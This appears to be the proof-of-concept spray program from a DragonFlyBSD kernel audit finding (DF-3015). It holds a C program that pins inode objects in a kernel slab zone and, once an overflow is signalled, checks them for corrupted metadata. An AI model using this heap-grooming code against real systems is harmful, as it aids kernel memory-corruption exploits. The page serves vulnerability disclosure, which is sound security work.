DragonFlyBSD Kernel Audit
DF-3015 / spray3015.c
← back to finding ↓ download raw
/*
 * DF-3015 spray — pin N struct-inode objects in the 320-byte slab zone.
 * Keeps fds open so vnodes/inodes stay live, then (after the overflow,
 * signalled by /tmp/GO) fstats them to display corrupted in-memory
 * metadata (st_ino / st_nlink from i_number / i_effnlink).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#define NFILES 200

int
main(void)
{
	int fds[NFILES];
	int n = 0, i, bad = 0;
	char path[256];

	for (i = 0; i < NFILES; i++) {
		snprintf(path, sizeof(path), "/mnt/hold/f%03d", i);
		fds[n] = open(path, O_RDWR | O_CREAT, 0644);
		if (fds[n] >= 0)
			n++;
	}
	printf("[spray] %d inodes pinned (fds open)\n", n);
	fflush(stdout);

	while (access("/tmp/GO", F_OK) != 0)
		usleep(50000);
	printf("[spray] overflow signalled; probing own fds via fstat()\n");
	fflush(stdout);

	for (i = 0; i < n; i++) {
		struct stat st;
		if (fstat(fds[i], &st) == 0) {
			if ((unsigned long long)st.st_ino > 1000000ULL ||
			    (unsigned)st.st_nlink > 1000) {
				printf("[spray] CORRUPT f%03d fd=%d ino=%llx "
				       "nlink=%u size=%lld\n", i, fds[i],
				       (unsigned long long)st.st_ino,
				       (unsigned)st.st_nlink,
				       (long long)st.st_size);
				bad++;
			}
		} else {
			printf("[spray] fstat fd=%d FAILED: %s\n", fds[i],
			       strerror(0));
			bad++;
		}
	}
	printf("[spray] %d/%d inodes corrupted\n", bad, n);
	fflush(stdout);
	unlink("/tmp/GO2");
	pause();
	return (0);
}